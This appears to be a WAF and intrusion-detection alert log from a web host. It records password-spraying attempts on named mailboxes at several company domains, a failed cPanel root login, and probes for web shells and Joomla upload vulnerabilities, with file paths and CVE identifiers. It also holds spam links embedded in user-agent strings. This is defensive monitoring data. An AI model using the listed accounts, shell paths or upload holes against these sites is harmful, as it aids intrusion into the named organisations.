plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-16 13:36:09 dovecot_login authenticator failed for H=([220.161.52.149]) [101.13.6.86]:52448: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-16 13:36:21 dovecot_login authenticator failed for H=([24.45.137.84]) [182.95.150.106]:53428: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.37.27.11
country_id: 1835841
description:
2026-07-16 13:36:51 dovecot_login authenticator failed for H=(187-51-198-202.customer.tdatabrasil.net.br) [118.37.27.11]:41823: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-16 13:37:04 dovecot_login authenticator failed for H=([220.161.52.149]) [72.239.145.229]:40158: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-16 13:37:37 dovecot_login authenticator failed for H=([128.185.116.114]) [185.15.82.135]:52684: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-16 13:40:43 dovecot_login authenticator failed for H=([103.50.5.94]) [65.20.161.126]:41266: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-16 13:40:16 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([211.205.53.47]) [83.166.50.15]:47205: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-16 13:40:30 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([197.219.208.58]) [34.41.211.48]:53718: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-16 13:41:46 dovecot_login authenticator failed for H=(164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [101.13.5.39]:44078: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 113.160.140.62
country_id: 1562822
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:44096.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d283d07a99a9f451bce1cfc18f0ed46d99fc2b5||Title:0x24216f16||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.100.98.105
country_id: 718075
description:
2026-07-16 13:42:14 dovecot_login authenticator failed for H=(15-50-166-83.dyn.estpak.ee) [94.100.98.105]:42586: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 38.183.46.61
country_id: 1269750
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:27306.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c1d738b27dec8f83eb5171d621aba3541a054193||Title:0x39fa07e6||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.178.8.229
country_id: 3703430
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-16 13:51:36 dovecot_login authenticator failed for H=([103.148.206.98]) [78.187.230.168]:59284: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.183
country_id: 1668284
description:
2026-07-16 13:52:04 dovecot_login authenticator failed for H=([211.217.26.2]) [101.13.2.183]:37841: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-16 13:52:22 dovecot_login authenticator failed for H=([36.135.94.148]) [65.20.163.103]:55052: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.5.244.85
country_id: 6252001
description:
2026-07-16 13:53:44 dovecot_plain authenticator failed for H=c-24-5-244-85.hsd1.ca.comcast.net (pshing) [24.5.244.85]:60632: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 103.245.38.203
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/index.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 159.26.110.74
country_id: 798544
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 \xd0\x9e\xd1\x82\xd0\xb6\xd0\xb8\xd0\xb3 \xd1\x81\xd1\x82\xd0\xb0\xd0\xbb\xd0\xb8 \xd0\xb8 \xd1\x81\xd1\x82\xd0\xb0\xd0\xbb\xd1\x8c\xd0\xbd\xd1\x8b\xd1\x85 \xd0\xb8\xd0\xb7\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb8\xd0\xb9 (<a href=\"https://liteyka.admiralzavod.com/ru/termycheskaya-obrabotka/otzhig\">liteyka.admiralzavod.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-16 13:59:54 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [182.73.109.194]:45622: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-16 14:00:11 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [65.20.211.96]:32856: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.190.215.195
country_id: 6252001
description:
2026-07-16 14:01:41 dovecot_login authenticator failed for H=([98.178.72.4]) [146.190.215.195]:44924: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-16 14:01:53 dovecot_login authenticator failed for H=([61.6.206.13]) [125.23.228.86]:44850: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: ogocindia.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784190836451.pHp||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-16 14:04:06 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [116.72.9.151]:35828: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-16 14:04:28 dovecot_login authenticator failed for H=([113.140.95.250]) [188.122.39.33]:55446: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.223.32.225
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://Www.Padel5000.co/\">padel5000</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.199.254.87
country_id: 1835841
description:
2026-07-16 14:04:41 dovecot_login authenticator failed for H=([210.118.224.138]) [211.199.254.87]:37684: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 188.119.13.173
country_id: 298795
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce3sgs5ki8.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-16 14:06:30 dovecot_login authenticator failed for H=([222.120.176.6]) [182.95.181.50]:40700: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-16 14:06:55 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-16 14:08:53 dovecot_login authenticator failed for H=([182.74.216.125]) [119.192.219.77]:41423: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-16 14:09:13 dovecot_login authenticator failed for H=([185.65.238.252]) [94.16.17.141]:44244: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-16 14:11:38 dovecot_login authenticator failed for H=([192.111.134.12]) [94.16.17.140]:49414: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-16 14:11:48 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([180.94.76.126]) [89.67.246.166]:50483: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.134.15.58
country_id: 241170
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/the-sword-and-the-grail\">penis enlargement in dubai</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.52.226.144
country_id: 357994
description:
2026-07-16 14:14:34 dovecot_login authenticator failed for H=(nsg-static-089.77.71.182.airtel.in) [217.52.226.144]:55150: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-16 14:14:46 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-097.37.23.125.airtelbroadband.in) [50.217.40.11]:58728: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-16 14:14:54 dovecot_login authenticator failed for H=([220.122.115.9]) [207.254.29.22]:50340: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-16 14:14:59 dovecot_login authenticator failed for H=([182.95.88.181]) [182.78.65.154]:54742: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-16 14:15:35 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se ([14.42.47.150]) [83.226.181.38]:39738: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-16 14:15:44 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([49.125.201.63]) [51.68.226.171]:44014: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-16 14:15:52 dovecot_login authenticator failed for H=([111.26.63.89]) [218.156.93.203]:44058: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girls-in-dehradun.html\">Dehradun Call Girl</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.53
country_id: 1668284
description:
2026-07-16 14:18:59 dovecot_login authenticator failed for H=111-70-38-53.emome-ip.hinet.net ([211.238.237.254]) [111.70.38.53]:59172: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.237.155.113
country_id: 2661886
description:
2026-07-16 14:19:28 dovecot_login authenticator failed for H=81-237-155-113-no2400.tbcn.telia.com ([95.82.7.89]) [81.237.155.113]:51007: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.15.223.148
country_id: 3017382
description:
2026-07-16 14:19:38 dovecot_login authenticator failed for H=80-15-223-148.ftth.fr.orangecustomers.net ([59.8.31.162]) [80.15.223.148]:34490: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-16 14:21:49 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [122.187.116.110]:54616: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-16 14:22:22 dovecot_login authenticator failed for H=([115.245.122.146]) [182.95.189.66]:47000: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.63.128
country_id: 6251999
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-16 14:23:41 dovecot_login authenticator failed for H=(nsg-corporate-12.229.187.122.airtel.in) [65.20.141.202]:47161: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-16 14:24:20 dovecot_login authenticator failed for H=([95.165.25.233]) [196.189.59.226]:57575: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-16 14:26:10 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com (77x106x78x215.dynamic.barnaul.ertelecom.ru) [77.53.193.47]:54610: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-16 14:26:10 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([178.176.229.202]) [155.4.209.51]:56856: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 14:25:52 dovecot_login authenticator failed for H=([211.105.229.237]) [188.122.37.97]:55052: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 95.181.238.53
country_id: 3572887
domain: www.jaashsupplies.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:panscient.com||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-16 14:26:32 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([109.195.14.161]) [79.138.90.195]:53512: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-16 14:26:53 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([119.201.143.23]) [64.207.225.55]:38114: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-16 14:26:28 dovecot_login authenticator failed for H=(static-ip-1815617463.cable.net.co) [101.13.5.39]:46446: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 38.54.14.80
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-d9559e7ab093c1793a8edc64f7a7a8b1.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-16 14:27:13 dovecot_login authenticator failed for H=([45.164.115.86]) [122.169.40.221]:46230: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.80.17
country_id: 1835841
description:
2026-07-16 14:27:33 dovecot_login authenticator failed for H=(111-70-28-243.emome-ip.hinet.net) [121.1.80.17]:33728: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-16 14:27:56 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [62.201.228.210]:42392: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 38.54.14.80
country_id: 1562822
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-53db9b12629c7d92262d6ce693dd5592.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-16 14:36:31 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net (177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [221.120.78.177]:48059: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-16 14:37:03 dovecot_login authenticator failed for H=([198.8.94.171]) [171.244.60.35]:36849: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-16 14:38:52 dovecot_login authenticator failed for H=(aes-static-193.106.22.125.airtel.in) [59.145.160.134]:54100: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-16 14:38:58 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([60.12.106.119]) [94.255.255.26]:59994: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-16 14:39:10 dovecot_login authenticator failed for H=(202-62-129-18.ip.vocus.network) [92.62.74.41]:35332: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-16 14:39:24 dovecot_login authenticator failed for H=([45.167.250.173]) [197.219.228.246]:50236: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.127.25.202
country_id: 6252001
description:
2026-07-16 14:42:10 dovecot_login authenticator failed for H=([111.11.93.87]) [20.127.25.202]:53390: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.124
country_id: 1668284
description:
2026-07-16 14:42:22 dovecot_login authenticator failed for H=111-70-38-124.emome-ip.hinet.net (250.43.246.220.static.netvigator.com) [111.70.38.124]:34545: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-16 14:44:16 dovecot_login authenticator failed for H=([149.54.40.182]) [92.62.74.41]:50301: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-16 14:44:30 dovecot_login authenticator failed for H=([121.131.220.152]) [222.104.76.94]:36268: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-16 14:46:03 dovecot_login authenticator failed for H=(host-119.84.45.129.djezzycloud.dz) [106.0.165.219]:46385: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 96.0.161.191
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcevs1bleks.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.154.64.185
country_id: 1168579
description:
2026-07-16 14:46:16 dovecot_login authenticator failed for H=([182.95.87.177]) [103.154.64.185]:60048: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.155.212.70
country_id: 1269750
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:12818.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:14f85a8d718a7495badfe7e5812383c6b98d1a8d||Title:0xf921fe5a||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 14:47:32 dovecot_login authenticator failed for H=([192.111.129.146]) [188.122.37.97]:55534: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-16 14:47:23 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([92.47.166.23]) [111.70.33.194]:52800: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.48.8
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/0f2261388 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-16 14:57:29 dovecot_login authenticator failed for H=([125.19.171.114]) [61.37.150.6]:20522: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-16 14:57:48 dovecot_login authenticator failed for H=a4.ucndns.in ([128.185.116.114]) [103.252.168.4]:55252: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.194.8.156
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/images/images/cache.php||SC:/home/ddgalaxy/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-16 15:05:13 dovecot_login authenticator failed for H=([182.95.176.122]) [51.116.117.203]:37090: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.248
country_id: 1668284
description:
2026-07-16 15:05:29 dovecot_login authenticator failed for H=111-70-38-248.emome-ip.hinet.net ([49.124.153.45]) [111.70.38.248]:46201: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 15:13:09 dovecot_login authenticator failed for H=([178.178.222.55]) [182.95.61.82]:40636: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-16 15:14:02 dovecot_login authenticator failed for H=([223.86.148.242]) [196.190.220.168]:55440: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.60
country_id: 1668284
description:
2026-07-16 15:15:55 dovecot_login authenticator failed for H=111-70-34-60.emome-ip.hinet.net ([144.24.209.174]) [111.70.34.60]:44819: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.210
country_id: 294640
description:
2026-07-16 15:15:15 dovecot_login authenticator failed for H=([174.75.211.211]) [84.111.136.210]:37222: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-16 15:15:23 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net (mx-ll-223.204.180-222.dynamic.3bb.co.th) [111.70.3.122]:44429: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 15:15:28 dovecot_login authenticator failed for H=([49.206.201.253]) [188.122.37.97]:38328: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-16 15:17:38 dovecot_login authenticator failed for H=(201-28-33-49.customer.tdatabrasil.net.br) [121.131.220.168]:51882: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-16 15:17:51 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com (221-120-57-56.emome-ip.hinet.net) [217.211.208.125]:51994: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-16 15:20:08 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([162.253.68.102]) [218.103.36.176]:55073: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-16 15:19:42 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([65.20.134.97]) [85.195.9.20]:33516: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 62.60.130.233
country_id: 130758
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:ahsmarine||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 62.60.130.233
country_id: 130758
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:ahsmarine||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
